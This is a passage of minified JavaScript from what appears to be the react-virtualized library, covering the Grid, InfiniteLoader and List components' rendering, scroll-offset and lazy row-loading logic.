                this._calculateChildrenToRender(this.props, this.state);
                var totalColumnsWidth = instanceProps.columnSizeAndPositionManager.getTotalSize(), totalRowsHeight = instanceProps.rowSizeAndPositionManager.getTotalSize(), verticalScrollBarSize = height < totalRowsHeight ? instanceProps.scrollbarSize : 0, horizontalScrollBarSize = width < totalColumnsWidth ? instanceProps.scrollbarSize : 0;
                horizontalScrollBarSize === this._horizontalScrollBarSize && verticalScrollBarSize === this._verticalScrollBarSize || (this._horizontalScrollBarSize = horizontalScrollBarSize, 
                this._verticalScrollBarSize = verticalScrollBarSize, this._scrollbarPresenceChanged = !0), 
                gridStyle.overflowX = totalColumnsWidth + verticalScrollBarSize <= width ? "hidden" : "auto", 
                gridStyle.overflowY = totalRowsHeight + horizontalScrollBarSize <= height ? "hidden" : "auto";
                var childrenToDisplay = this._childrenToDisplay, showNoContentRenderer = 0 === childrenToDisplay.length && 0 < height && 0 < width;
                return React.createElement("div", _extends({
                    ref: this._setScrollingContainerRef
                }, containerProps, {
                    "aria-label": this.props["aria-label"],
                    "aria-readonly": this.props["aria-readonly"],
                    className: clsx("ReactVirtualized__Grid", className),
                    id: id,
                    onScroll: this._onScroll,
                    role: role,
                    style: _objectSpread2({}, gridStyle, {}, style),
                    tabIndex: tabIndex
                }), 0 < childrenToDisplay.length && React.createElement("div", {
                    className: "ReactVirtualized__Grid__innerScrollContainer",
                    role: containerRole,
                    style: _objectSpread2({
                        width: autoContainerWidth ? "auto" : totalColumnsWidth,
                        height: totalRowsHeight,
                        maxWidth: totalColumnsWidth,
                        maxHeight: totalRowsHeight,
                        overflow: "hidden",
                        pointerEvents: isScrolling ? "none" : "",
                        position: "relative"
                    }, containerStyle)
                }, childrenToDisplay), showNoContentRenderer && noContentRenderer());
            }
        }, {
            key: "_calculateChildrenToRender",
            value: function(argument_0, argument_1) {
                var props = 0 < arguments.length && void 0 !== argument_0 ? argument_0 : this.props, state = 1 < arguments.length && void 0 !== argument_1 ? argument_1 : this.state, cellRenderer = props.cellRenderer, cellRangeRenderer = props.cellRangeRenderer, columnCount = props.columnCount, deferredMeasurementCache = props.deferredMeasurementCache, height = props.height, overscanColumnCount = props.overscanColumnCount, overscanIndicesGetter = props.overscanIndicesGetter, overscanRowCount = props.overscanRowCount, rowCount = props.rowCount, width = props.width, isScrollingOptOut = props.isScrollingOptOut, scrollDirectionHorizontal = state.scrollDirectionHorizontal, scrollDirectionVertical = state.scrollDirectionVertical, instanceProps = state.instanceProps, scrollTop = 0 < this._initialScrollTop ? this._initialScrollTop : state.scrollTop, scrollLeft = 0 < this._initialScrollLeft ? this._initialScrollLeft : state.scrollLeft, isScrolling = this._isScrolling(props, state);
                if (this._childrenToDisplay = [], 0 < height && 0 < width) {
                    var visibleColumnIndices = instanceProps.columnSizeAndPositionManager.getVisibleCellRange({
                        containerSize: width,
                        offset: scrollLeft
                    }), visibleRowIndices = instanceProps.rowSizeAndPositionManager.getVisibleCellRange({
                        containerSize: height,
                        offset: scrollTop
                    }), horizontalOffsetAdjustment = instanceProps.columnSizeAndPositionManager.getOffsetAdjustment({
                        containerSize: width,
                        offset: scrollLeft
                    }), verticalOffsetAdjustment = instanceProps.rowSizeAndPositionManager.getOffsetAdjustment({
                        containerSize: height,
                        offset: scrollTop
                    });
                    this._renderedColumnStartIndex = visibleColumnIndices.start, this._renderedColumnStopIndex = visibleColumnIndices.stop, 
                    this._renderedRowStartIndex = visibleRowIndices.start, this._renderedRowStopIndex = visibleRowIndices.stop;
                    var overscanColumnIndices = overscanIndicesGetter({
                        direction: "horizontal",
                        cellCount: columnCount,
                        overscanCellsCount: overscanColumnCount,
                        scrollDirection: scrollDirectionHorizontal,
                        startIndex: "number" == typeof visibleColumnIndices.start ? visibleColumnIndices.start : 0,
                        stopIndex: "number" == typeof visibleColumnIndices.stop ? visibleColumnIndices.stop : -1
                    }), overscanRowIndices = overscanIndicesGetter({
                        direction: "vertical",
                        cellCount: rowCount,
                        overscanCellsCount: overscanRowCount,
                        scrollDirection: scrollDirectionVertical,
                        startIndex: "number" == typeof visibleRowIndices.start ? visibleRowIndices.start : 0,
                        stopIndex: "number" == typeof visibleRowIndices.stop ? visibleRowIndices.stop : -1
                    }), columnStartIndex = overscanColumnIndices.overscanStartIndex, columnStopIndex = overscanColumnIndices.overscanStopIndex, rowStartIndex = overscanRowIndices.overscanStartIndex, rowStopIndex = overscanRowIndices.overscanStopIndex;
                    if (deferredMeasurementCache) {
                        if (!deferredMeasurementCache.hasFixedHeight()) for (var rowIndex = rowStartIndex; rowIndex <= rowStopIndex; rowIndex++) if (!deferredMeasurementCache.has(rowIndex, 0)) {
                            columnStartIndex = 0, columnStopIndex = columnCount - 1;
                            break;
                        }
                        if (!deferredMeasurementCache.hasFixedWidth()) for (var columnIndex = columnStartIndex; columnIndex <= columnStopIndex; columnIndex++) if (!deferredMeasurementCache.has(0, columnIndex)) {
                            rowStartIndex = 0, rowStopIndex = rowCount - 1;
                            break;
                        }
                    }
                    this._childrenToDisplay = cellRangeRenderer({
                        cellCache: this._cellCache,
                        cellRenderer: cellRenderer,
                        columnSizeAndPositionManager: instanceProps.columnSizeAndPositionManager,
                        columnStartIndex: columnStartIndex,
                        columnStopIndex: columnStopIndex,
                        deferredMeasurementCache: deferredMeasurementCache,
                        horizontalOffsetAdjustment: horizontalOffsetAdjustment,
                        isScrolling: isScrolling,
                        isScrollingOptOut: isScrollingOptOut,
                        parent: this,
                        rowSizeAndPositionManager: instanceProps.rowSizeAndPositionManager,
                        rowStartIndex: rowStartIndex,
                        rowStopIndex: rowStopIndex,
                        scrollLeft: scrollLeft,
                        scrollTop: scrollTop,
                        styleCache: this._styleCache,
                        verticalOffsetAdjustment: verticalOffsetAdjustment,
                        visibleColumnIndices: visibleColumnIndices,
                        visibleRowIndices: visibleRowIndices
                    }), this._columnStartIndex = columnStartIndex, this._columnStopIndex = columnStopIndex, 
                    this._rowStartIndex = rowStartIndex, this._rowStopIndex = rowStopIndex;
                }
            }
        }, {
            key: "_debounceScrollEnded",
            value: function() {
                var scrollingResetTimeInterval = this.props.scrollingResetTimeInterval;
                this._disablePointerEventsTimeoutId && cancelAnimationTimeout(this._disablePointerEventsTimeoutId), 
                this._disablePointerEventsTimeoutId = requestAnimationTimeout(this._debounceScrollEndedCallback, scrollingResetTimeInterval);
            }
        }, {
            key: "_handleInvalidatedGridSize",
            value: function() {
                if ("number" == typeof this._deferredInvalidateColumnIndex && "number" == typeof this._deferredInvalidateRowIndex) {
                    var columnIndex = this._deferredInvalidateColumnIndex, rowIndex = this._deferredInvalidateRowIndex;
                    this._deferredInvalidateColumnIndex = null, this._deferredInvalidateRowIndex = null, 
                    this.recomputeGridSize({
                        columnIndex: columnIndex,
                        rowIndex: rowIndex
                    });
                }
            }
        }, {
            key: "_invokeOnScrollMemoizer",
            value: function(_ref6) {
                var _this3 = this, scrollLeft = _ref6.scrollLeft, scrollTop = _ref6.scrollTop, totalColumnsWidth = _ref6.totalColumnsWidth, totalRowsHeight = _ref6.totalRowsHeight;
                this._onScrollMemoizer({
                    callback: function(_ref7) {
                        var scrollLeft = _ref7.scrollLeft, scrollTop = _ref7.scrollTop, _this3$props = _this3.props, height = _this3$props.height;
                        (0, _this3$props.onScroll)({
                            clientHeight: height,
                            clientWidth: _this3$props.width,
                            scrollHeight: totalRowsHeight,
                            scrollLeft: scrollLeft,
                            scrollTop: scrollTop,
                            scrollWidth: totalColumnsWidth
                        });
                    },
                    indices: {
                        scrollLeft: scrollLeft,
                        scrollTop: scrollTop
                    }
                });
            }
        }, {
            key: "_isScrolling",
            value: function(argument_0, argument_1) {
                var props = 0 < arguments.length && void 0 !== argument_0 ? argument_0 : this.props, state = 1 < arguments.length && void 0 !== argument_1 ? argument_1 : this.state;
                return Object.hasOwnProperty.call(props, "isScrolling") ? Boolean(props.isScrolling) : Boolean(state.isScrolling);
            }
        }, {
            key: "_maybeCallOnScrollbarPresenceChange",
            value: function() {
                if (this._scrollbarPresenceChanged) {
                    var onScrollbarPresenceChange = this.props.onScrollbarPresenceChange;
                    this._scrollbarPresenceChanged = !1, onScrollbarPresenceChange({
                        horizontal: 0 < this._horizontalScrollBarSize,
                        size: this.state.instanceProps.scrollbarSize,
                        vertical: 0 < this._verticalScrollBarSize
                    });
                }
            }
        }, {
            key: "scrollToPosition",
            value: function(_ref8) {
                var scrollLeft = _ref8.scrollLeft, scrollTop = _ref8.scrollTop, stateUpdate = Grid._getScrollToPositionStateUpdate({
                    prevState: this.state,
                    scrollLeft: scrollLeft,
                    scrollTop: scrollTop
                });
                stateUpdate && (stateUpdate.needToResetStyleCache = !1, this.setState(stateUpdate));
            }
        }, {
            key: "_getCalculatedScrollLeft",
            value: function(argument_0, argument_1) {
                var props = 0 < arguments.length && void 0 !== argument_0 ? argument_0 : this.props, state = 1 < arguments.length && void 0 !== argument_1 ? argument_1 : this.state;
                return Grid._getCalculatedScrollLeft(props, state);
            }
        }, {
            key: "_updateScrollLeftForScrollToColumn",
            value: function(argument_0, argument_1) {
                var props = 0 < arguments.length && void 0 !== argument_0 ? argument_0 : this.props, state = 1 < arguments.length && void 0 !== argument_1 ? argument_1 : this.state, stateUpdate = Grid._getScrollLeftForScrollToColumnStateUpdate(props, state);
                stateUpdate && (stateUpdate.needToResetStyleCache = !1, this.setState(stateUpdate));
            }
        }, {
            key: "_getCalculatedScrollTop",
            value: function(argument_0, argument_1) {
                var props = 0 < arguments.length && void 0 !== argument_0 ? argument_0 : this.props, state = 1 < arguments.length && void 0 !== argument_1 ? argument_1 : this.state;
                return Grid._getCalculatedScrollTop(props, state);
            }
        }, {
            key: "_resetStyleCache",
            value: function() {
                var styleCache = this._styleCache, cellCache = this._cellCache, isScrollingOptOut = this.props.isScrollingOptOut;
                this._cellCache = {}, this._styleCache = {};
                for (var rowIndex = this._rowStartIndex; rowIndex <= this._rowStopIndex; rowIndex++) for (var columnIndex = this._columnStartIndex; columnIndex <= this._columnStopIndex; columnIndex++) {
                    var key = "".concat(rowIndex, "-").concat(columnIndex);
                    this._styleCache[key] = styleCache[key], isScrollingOptOut && (this._cellCache[key] = cellCache[key]);
                }
            }
        }, {
            key: "_updateScrollTopForScrollToRow",
            value: function(argument_0, argument_1) {
                var props = 0 < arguments.length && void 0 !== argument_0 ? argument_0 : this.props, state = 1 < arguments.length && void 0 !== argument_1 ? argument_1 : this.state, stateUpdate = Grid._getScrollTopForScrollToRowStateUpdate(props, state);
                stateUpdate && (stateUpdate.needToResetStyleCache = !1, this.setState(stateUpdate));
            }
        } ], [ {
            key: "getDerivedStateFromProps",
            value: function(nextProps, prevState) {
                var newState = {};
                0 === nextProps.columnCount && 0 !== prevState.scrollLeft || 0 === nextProps.rowCount && 0 !== prevState.scrollTop ? (newState.scrollLeft = 0, 
                newState.scrollTop = 0) : (nextProps.scrollLeft !== prevState.scrollLeft && nextProps.scrollToColumn < 0 || nextProps.scrollTop !== prevState.scrollTop && nextProps.scrollToRow < 0) && Object.assign(newState, Grid._getScrollToPositionStateUpdate({
                    prevState: prevState,
                    scrollLeft: nextProps.scrollLeft,
                    scrollTop: nextProps.scrollTop
                }));
                var maybeStateA, maybeStateB, instanceProps = prevState.instanceProps;
                return newState.needToResetStyleCache = !1, nextProps.columnWidth === instanceProps.prevColumnWidth && nextProps.rowHeight === instanceProps.prevRowHeight || (newState.needToResetStyleCache = !0), 
                instanceProps.columnSizeAndPositionManager.configure({
                    cellCount: nextProps.columnCount,
                    estimatedCellSize: Grid._getEstimatedColumnSize(nextProps),
                    cellSizeGetter: Grid._wrapSizeGetter(nextProps.columnWidth)
                }), instanceProps.rowSizeAndPositionManager.configure({
                    cellCount: nextProps.rowCount,
                    estimatedCellSize: Grid._getEstimatedRowSize(nextProps),
                    cellSizeGetter: Grid._wrapSizeGetter(nextProps.rowHeight)
                }), 0 !== instanceProps.prevColumnCount && 0 !== instanceProps.prevRowCount || (instanceProps.prevColumnCount = 0, 
                instanceProps.prevRowCount = 0), nextProps.autoHeight && !1 === nextProps.isScrolling && !0 === instanceProps.prevIsScrolling && Object.assign(newState, {
                    isScrolling: !1
                }), calculateSizeAndPositionDataAndUpdateScrollOffset({
                    cellCount: instanceProps.prevColumnCount,
                    cellSize: "number" == typeof instanceProps.prevColumnWidth ? instanceProps.prevColumnWidth : null,
                    computeMetadataCallback: function() {
                        return instanceProps.columnSizeAndPositionManager.resetCell(0);
                    },
                    computeMetadataCallbackProps: nextProps,
                    nextCellsCount: nextProps.columnCount,
                    nextCellSize: "number" == typeof nextProps.columnWidth ? nextProps.columnWidth : null,
                    nextScrollToIndex: nextProps.scrollToColumn,
                    scrollToIndex: instanceProps.prevScrollToColumn,
                    updateScrollOffsetForScrollToIndex: function() {
                        maybeStateA = Grid._getScrollLeftForScrollToColumnStateUpdate(nextProps, prevState);
                    }
                }), calculateSizeAndPositionDataAndUpdateScrollOffset({
                    cellCount: instanceProps.prevRowCount,
                    cellSize: "number" == typeof instanceProps.prevRowHeight ? instanceProps.prevRowHeight : null,
                    computeMetadataCallback: function() {
                        return instanceProps.rowSizeAndPositionManager.resetCell(0);
                    },
                    computeMetadataCallbackProps: nextProps,
                    nextCellsCount: nextProps.rowCount,
                    nextCellSize: "number" == typeof nextProps.rowHeight ? nextProps.rowHeight : null,
                    nextScrollToIndex: nextProps.scrollToRow,
                    scrollToIndex: instanceProps.prevScrollToRow,
                    updateScrollOffsetForScrollToIndex: function() {
                        maybeStateB = Grid._getScrollTopForScrollToRowStateUpdate(nextProps, prevState);
                    }
                }), instanceProps.prevColumnCount = nextProps.columnCount, instanceProps.prevColumnWidth = nextProps.columnWidth, 
                instanceProps.prevIsScrolling = !0 === nextProps.isScrolling, instanceProps.prevRowCount = nextProps.rowCount, 
                instanceProps.prevRowHeight = nextProps.rowHeight, instanceProps.prevScrollToColumn = nextProps.scrollToColumn, 
                instanceProps.prevScrollToRow = nextProps.scrollToRow, instanceProps.scrollbarSize = nextProps.getScrollbarSize(), 
                void 0 === instanceProps.scrollbarSize ? (instanceProps.scrollbarSizeMeasured = !1, 
                instanceProps.scrollbarSize = 0) : instanceProps.scrollbarSizeMeasured = !0, newState.instanceProps = instanceProps, 
                _objectSpread2({}, newState, {}, maybeStateA, {}, maybeStateB);
            }
        }, {
            key: "_getEstimatedColumnSize",
            value: function(props) {
                return "number" == typeof props.columnWidth ? props.columnWidth : props.estimatedColumnSize;
            }
        }, {
            key: "_getEstimatedRowSize",
            value: function(props) {
                return "number" == typeof props.rowHeight ? props.rowHeight : props.estimatedRowSize;
            }
        }, {
            key: "_getScrollToPositionStateUpdate",
            value: function(_ref9) {
                var prevState = _ref9.prevState, scrollLeft = _ref9.scrollLeft, scrollTop = _ref9.scrollTop, newState = {
                    scrollPositionChangeReason: SCROLL_POSITION_CHANGE_REASONS$1_REQUESTED
                };
                return "number" == typeof scrollLeft && 0 <= scrollLeft && (newState.scrollDirectionHorizontal = scrollLeft > prevState.scrollLeft ? 1 : -1, 
                newState.scrollLeft = scrollLeft), "number" == typeof scrollTop && 0 <= scrollTop && (newState.scrollDirectionVertical = scrollTop > prevState.scrollTop ? 1 : -1, 
                newState.scrollTop = scrollTop), "number" == typeof scrollLeft && 0 <= scrollLeft && scrollLeft !== prevState.scrollLeft || "number" == typeof scrollTop && 0 <= scrollTop && scrollTop !== prevState.scrollTop ? newState : {};
            }
        }, {
            key: "_wrapSizeGetter",
            value: function(value) {
                return "function" == typeof value ? value : function() {
                    return value;
                };
            }
        }, {
            key: "_getCalculatedScrollLeft",
            value: function(nextProps, prevState) {
                var columnCount = nextProps.columnCount, height = nextProps.height, scrollToAlignment = nextProps.scrollToAlignment, scrollToColumn = nextProps.scrollToColumn, width = nextProps.width, scrollLeft = prevState.scrollLeft, instanceProps = prevState.instanceProps;
                if (0 < columnCount) {
                    var finalColumn = columnCount - 1, targetIndex = scrollToColumn < 0 ? finalColumn : Math.min(finalColumn, scrollToColumn), totalRowsHeight = instanceProps.rowSizeAndPositionManager.getTotalSize(), scrollBarSize = instanceProps.scrollbarSizeMeasured && height < totalRowsHeight ? instanceProps.scrollbarSize : 0;
                    return instanceProps.columnSizeAndPositionManager.getUpdatedOffsetForIndex({
                        align: scrollToAlignment,
                        containerSize: width - scrollBarSize,
                        currentOffset: scrollLeft,
                        targetIndex: targetIndex
                    });
                }
                return 0;
            }
        }, {
            key: "_getScrollLeftForScrollToColumnStateUpdate",
            value: function(nextProps, prevState) {
                var scrollLeft = prevState.scrollLeft, calculatedScrollLeft = Grid._getCalculatedScrollLeft(nextProps, prevState);
                return "number" == typeof calculatedScrollLeft && 0 <= calculatedScrollLeft && scrollLeft !== calculatedScrollLeft ? Grid._getScrollToPositionStateUpdate({
                    prevState: prevState,
                    scrollLeft: calculatedScrollLeft,
                    scrollTop: -1
                }) : {};
            }
        }, {
            key: "_getCalculatedScrollTop",
            value: function(nextProps, prevState) {
                var height = nextProps.height, rowCount = nextProps.rowCount, scrollToAlignment = nextProps.scrollToAlignment, scrollToRow = nextProps.scrollToRow, width = nextProps.width, scrollTop = prevState.scrollTop, instanceProps = prevState.instanceProps;
                if (0 < rowCount) {
                    var finalRow = rowCount - 1, targetIndex = scrollToRow < 0 ? finalRow : Math.min(finalRow, scrollToRow), totalColumnsWidth = instanceProps.columnSizeAndPositionManager.getTotalSize(), scrollBarSize = instanceProps.scrollbarSizeMeasured && width < totalColumnsWidth ? instanceProps.scrollbarSize : 0;
                    return instanceProps.rowSizeAndPositionManager.getUpdatedOffsetForIndex({
                        align: scrollToAlignment,
                        containerSize: height - scrollBarSize,
                        currentOffset: scrollTop,
                        targetIndex: targetIndex
                    });
                }
                return 0;
            }
        }, {
            key: "_getScrollTopForScrollToRowStateUpdate",
            value: function(nextProps, prevState) {
                var scrollTop = prevState.scrollTop, calculatedScrollTop = Grid._getCalculatedScrollTop(nextProps, prevState);
                return "number" == typeof calculatedScrollTop && 0 <= calculatedScrollTop && scrollTop !== calculatedScrollTop ? Grid._getScrollToPositionStateUpdate({
                    prevState: prevState,
                    scrollLeft: -1,
                    scrollTop: calculatedScrollTop
                }) : {};
            }
        } ]), Grid;
    }();
    _defineProperty(Grid, "defaultProps", {
        "aria-label": "grid",
        "aria-readonly": !0,
        autoContainerWidth: !1,
        autoHeight: !1,
        autoWidth: !1,
        cellRangeRenderer: defaultCellRangeRenderer,
        containerRole: "rowgroup",
        containerStyle: {},
        estimatedColumnSize: 100,
        estimatedRowSize: 30,
        getScrollbarSize: scrollbarSize,
        noContentRenderer: function() {
            return null;
        },
        onScroll: function() {},
        onScrollbarPresenceChange: function() {},
        onSectionRendered: function() {},
        overscanColumnCount: 0,
        overscanIndicesGetter: defaultOverscanIndicesGetter,
        overscanRowCount: 10,
        role: "grid",
        scrollingResetTimeInterval: 150,
        scrollToAlignment: "auto",
        scrollToColumn: -1,
        scrollToRow: -1,
        style: {},
        tabIndex: 0,
        isScrollingOptOut: !1
    }), polyfill(Grid);
    function defaultOverscanIndicesGetter$1(_ref) {
        var cellCount = _ref.cellCount, overscanCellsCount = _ref.overscanCellsCount, scrollDirection = _ref.scrollDirection, startIndex = _ref.startIndex, stopIndex = _ref.stopIndex;
        return overscanCellsCount = Math.max(1, overscanCellsCount), 1 === scrollDirection ? {
            overscanStartIndex: Math.max(0, startIndex - 1),
            overscanStopIndex: Math.min(cellCount - 1, stopIndex + overscanCellsCount)
        } : {
            overscanStartIndex: Math.max(0, startIndex - overscanCellsCount),
            overscanStopIndex: Math.min(cellCount - 1, stopIndex + 1)
        };
    }
    var InfiniteLoader = function() {
        function InfiniteLoader(props, context) {
            var _this;
            return _classCallCheck(this, InfiniteLoader), (_this = _possibleConstructorReturn(this, _getPrototypeOf(InfiniteLoader).call(this, props, context)))._loadMoreRowsMemoizer = createCallbackMemoizer(), 
            _this._onRowsRendered = _this._onRowsRendered.bind(_assertThisInitialized(_this)), 
            _this._registerChild = _this._registerChild.bind(_assertThisInitialized(_this)), 
            _this;
        }
        return _inherits(InfiniteLoader, React.PureComponent), _createClass(InfiniteLoader, [ {
            key: "resetLoadMoreRowsCache",
            value: function(autoReload) {
                this._loadMoreRowsMemoizer = createCallbackMemoizer(), autoReload && this._doStuff(this._lastRenderedStartIndex, this._lastRenderedStopIndex);
            }
        }, {
            key: "render",
            value: function() {
                return (0, this.props.children)({
                    onRowsRendered: this._onRowsRendered,
                    registerChild: this._registerChild
                });
            }
        }, {
            key: "_loadUnloadedRanges",
            value: function(unloadedRanges) {
                var _this2 = this, loadMoreRows = this.props.loadMoreRows;
                unloadedRanges.forEach(function(unloadedRange) {
                    var promise = loadMoreRows(unloadedRange);
                    promise && promise.then(function() {
                        (function(_ref4) {
                            var lastRenderedStartIndex = _ref4.lastRenderedStartIndex, lastRenderedStopIndex = _ref4.lastRenderedStopIndex, startIndex = _ref4.startIndex, stopIndex = _ref4.stopIndex;
                            return !(lastRenderedStopIndex < startIndex || stopIndex < lastRenderedStartIndex);
                        })({
                            lastRenderedStartIndex: _this2._lastRenderedStartIndex,
                            lastRenderedStopIndex: _this2._lastRenderedStopIndex,
                            startIndex: unloadedRange.startIndex,
                            stopIndex: unloadedRange.stopIndex
                        }) && _this2._registeredChild && function(component) {
                            var currentIndex = 1 < arguments.length && void 0 !== arguments[1] ? arguments[1] : 0, recomputeSize = "function" == typeof component.recomputeGridSize ? component.recomputeGridSize : component.recomputeRowHeights;
                            recomputeSize ? recomputeSize.call(component, currentIndex) : component.forceUpdate();
                        }(_this2._registeredChild, _this2._lastRenderedStartIndex);
                    });
                });
            }
        }, {
            key: "_onRowsRendered",
            value: function(_ref) {
                var startIndex = _ref.startIndex, stopIndex = _ref.stopIndex;
                this._lastRenderedStartIndex = startIndex, this._lastRenderedStopIndex = stopIndex, 
                this._doStuff(startIndex, stopIndex);
            }
        }, {
            key: "_doStuff",
            value: function(startIndex, stopIndex) {
                var _ref2, _this3 = this, _this$props = this.props, isRowLoaded = _this$props.isRowLoaded, minimumBatchSize = _this$props.minimumBatchSize, rowCount = _this$props.rowCount, threshold = _this$props.threshold, unloadedRanges = function(_ref5) {
                    for (var isRowLoaded = _ref5.isRowLoaded, minimumBatchSize = _ref5.minimumBatchSize, rowCount = _ref5.rowCount, startIndex = _ref5.startIndex, stopIndex = _ref5.stopIndex, unloadedRanges = [], rangeStartIndex = null, rangeStopIndex = null, index = startIndex; index <= stopIndex; index++) {
                        isRowLoaded({
                            index: index
                        }) ? null !== rangeStopIndex && (unloadedRanges.push({
                            startIndex: rangeStartIndex,
                            stopIndex: rangeStopIndex
                        }), rangeStartIndex = rangeStopIndex = null) : (rangeStopIndex = index, null === rangeStartIndex && (rangeStartIndex = index));
                    }
                    if (null !== rangeStopIndex) {
                        for (var potentialStopIndex = Math.min(Math.max(rangeStopIndex, rangeStartIndex + minimumBatchSize - 1), rowCount - 1), _index = rangeStopIndex + 1; _index <= potentialStopIndex && !isRowLoaded({
                            index: _index
                        }); _index++) rangeStopIndex = _index;
                        unloadedRanges.push({
                            startIndex: rangeStartIndex,
                            stopIndex: rangeStopIndex
                        });
                    }
                    if (unloadedRanges.length) for (var firstUnloadedRange = unloadedRanges[0]; firstUnloadedRange.stopIndex - firstUnloadedRange.startIndex + 1 < minimumBatchSize && 0 < firstUnloadedRange.startIndex; ) {
                        var _index2 = firstUnloadedRange.startIndex - 1;
                        if (isRowLoaded({
                            index: _index2
                        })) break;
                        firstUnloadedRange.startIndex = _index2;
                    }
                    return unloadedRanges;
                }({
                    isRowLoaded: isRowLoaded,
                    minimumBatchSize: minimumBatchSize,
                    rowCount: rowCount,
                    startIndex: Math.max(0, startIndex - threshold),
                    stopIndex: Math.min(rowCount - 1, stopIndex + threshold)
                }), squashedUnloadedRanges = (_ref2 = []).concat.apply(_ref2, _toConsumableArray(unloadedRanges.map(function(_ref3) {
                    return [ _ref3.startIndex, _ref3.stopIndex ];
                })));
                this._loadMoreRowsMemoizer({
                    callback: function() {
                        _this3._loadUnloadedRanges(unloadedRanges);
                    },
                    indices: {
                        squashedUnloadedRanges: squashedUnloadedRanges
                    }
                });
            }
        }, {
            key: "_registerChild",
            value: function(registeredChild) {
                this._registeredChild = registeredChild;
            }
        } ]), InfiniteLoader;
    }();
    _defineProperty(InfiniteLoader, "propTypes", {
        children: propTypes.func.isRequired,
        isRowLoaded: propTypes.func.isRequired,
        loadMoreRows: propTypes.func.isRequired,
        minimumBatchSize: propTypes.number.isRequired,
        rowCount: propTypes.number.isRequired,
        threshold: propTypes.number.isRequired
    }), _defineProperty(InfiniteLoader, "defaultProps", {
        minimumBatchSize: 10,
        rowCount: 0,
        threshold: 15
    });
    var List = function() {
        function List() {
            var _getPrototypeOf2, _this;
            _classCallCheck(this, List);
            for (var _len = arguments.length, args = new Array(_len), _key = 0; _key < _len; _key++) args[_key] = arguments[_key];
            return _defineProperty(_assertThisInitialized(_this = _possibleConstructorReturn(this, (_getPrototypeOf2 = _getPrototypeOf(List)).call.apply(_getPrototypeOf2, [ this ].concat(args)))), "Grid", void 0), 
            _defineProperty(_assertThisInitialized(_this), "_cellRenderer", function(_ref) {
                var parent = _ref.parent, rowIndex = _ref.rowIndex, style = _ref.style, isScrolling = _ref.isScrolling, isVisible = _ref.isVisible, key = _ref.key, rowRenderer = _this.props.rowRenderer, widthDescriptor = Object.getOwnPropertyDescriptor(style, "width");
                return widthDescriptor && widthDescriptor.writable && (style.width = "100%"), rowRenderer({
                    index: rowIndex,
                    style: style,
                    isScrolling: isScrolling,
                    isVisible: isVisible,
                    key: key,
                    parent: parent
                });
            }), _defineProperty(_assertThisInitialized(_this), "_setRef", function(ref) {
                _this.Grid = ref;
            }), _defineProperty(_assertThisInitialized(_this), "_onScroll", function(_ref2) {
                var clientHeight = _ref2.clientHeight, scrollHeight = _ref2.scrollHeight, scrollTop = _ref2.scrollTop;
                (0, _this.props.onScroll)({
                    clientHeight: clientHeight,
                    scrollHeight: scrollHeight,
                    scrollTop: scrollTop
                });
            }), _defineProperty(_assertThisInitialized(_this), "_onSectionRendered", function(_ref3) {
                var rowOverscanStartIndex = _ref3.rowOverscanStartIndex, rowOverscanStopIndex = _ref3.rowOverscanStopIndex, rowStartIndex = _ref3.rowStartIndex, rowStopIndex = _ref3.rowStopIndex;
                (0, _this.props.onRowsRendered)({
                    overscanStartIndex: rowOverscanStartIndex,
                    overscanStopIndex: rowOverscanStopIndex,
                    startIndex: rowStartIndex,
                    stopIndex: rowStopIndex
                });
            }), _this;
        }
        return _inherits(List, React.PureComponent), _createClass(List, [ {
            key: "forceUpdateGrid",
            value: function() {
                this.Grid && this.Grid.forceUpdate();
            }
        }, {
            key: "getOffsetForRow",
            value: function(_ref4) {
                var alignment = _ref4.alignment, index = _ref4.index;
                return this.Grid ? this.Grid.getOffsetForCell({
                    alignment: alignment,
                    rowIndex: index,
                    columnIndex: 0
                }).scrollTop : 0;
            }
        }, {
            key: "invalidateCellSizeAfterRender",
            value: function(_ref5) {
                var columnIndex = _ref5.columnIndex, rowIndex = _ref5.rowIndex;
                this.Grid && this.Grid.invalidateCellSizeAfterRender({
                    rowIndex: rowIndex,
                    columnIndex: columnIndex
                });
            }
        }, {
            key: "measureAllRows",
            value: function() {
                this.Grid && this.Grid.measureAllCells();
            }
        }, {
            key: "recomputeGridSize",
            value: function(argument_0) {
                var _ref6 = 0 < arguments.length && void 0 !== argument_0 ? argument_0 : {}, _ref6$columnIndex = _ref6.columnIndex, columnIndex = void 0 === _ref6$columnIndex ? 0 : _ref6$columnIndex, _ref6$rowIndex = _ref6.rowIndex, rowIndex = void 0 === _ref6$rowIndex ? 0 : _ref6$rowIndex;
                this.Grid && this.Grid.recomputeGridSize({
                    rowIndex: rowIndex,
                    columnIndex: columnIndex
                });
            }
        }, {
            key: "recomputeRowHeights",
            value: function(argument_0) {
                var index = 0 < arguments.length && void 0 !== argument_0 ? argument_0 : 0;
                this.Grid && this.Grid.recomputeGridSize({
                    rowIndex: index,
                    columnIndex: 0
                });
            }
        }, {
            key: "scrollToPosition",
            value: function(argument_0) {
                var scrollTop = 0 < arguments.length && void 0 !== argument_0 ? argument_0 : 0;
                this.Grid && this.Grid.scrollToPosition({
                    scrollTop: scrollTop
                });
            }
        }, {
            key: "scrollToRow",
            value: function(argument_0) {
                var index = 0 < arguments.length && void 0 !== argument_0 ? argument_0 : 0;
                this.Grid && this.Grid.scrollToCell({
                    columnIndex: 0,
                    rowIndex: index
                });
            }
        }, {
            key: "render",
            value: function() {
                var _this$props = this.props, className = _this$props.className, noRowsRenderer = _this$props.noRowsRenderer, scrollToIndex = _this$props.scrollToIndex, width = _this$props.width, classNames = clsx("ReactVirtualized__List", className);
                return React.createElement(Grid, _extends({}, this.props, {
                    autoContainerWidth: !0,
                    cellRenderer: this._cellRenderer,
                    className: classNames,
                    columnWidth: width,
                    columnCount: 1,
                    noContentRenderer: noRowsRenderer,
                    onScroll: this._onScroll,
                    onSectionRendered: this._onSectionRendered,
                    ref: this._setRef,
                    scrollToRow: scrollToIndex
                }));
            }
        } ]), List;
    }();
    _defineProperty(List, "defaultProps", {
        autoHeight: !1,
        estimatedRowSize: 30,
        onScroll: function() {},
        noRowsRenderer: function() {
            return null;
        },
        onRowsRendered: function() {},
        overscanIndicesGetter: defaultOverscanIndicesGetter$1,
        overscanRowCount: 10,
        scrollToAlignment: "auto",
        scrollToIndex: -1,
        style: {}
    });
    var bounds = {
        ge: function(a, y, c, l, h) {
            return "function" == typeof c ? function(a, l, h, y, c) {
                for (var i = h + 1; l <= h; ) {
                    var m = l + h >>> 1;
                    0 <= c(a[m], y) ? h = (i = m) - 1 : l = 1 + m;
                }
                return i;
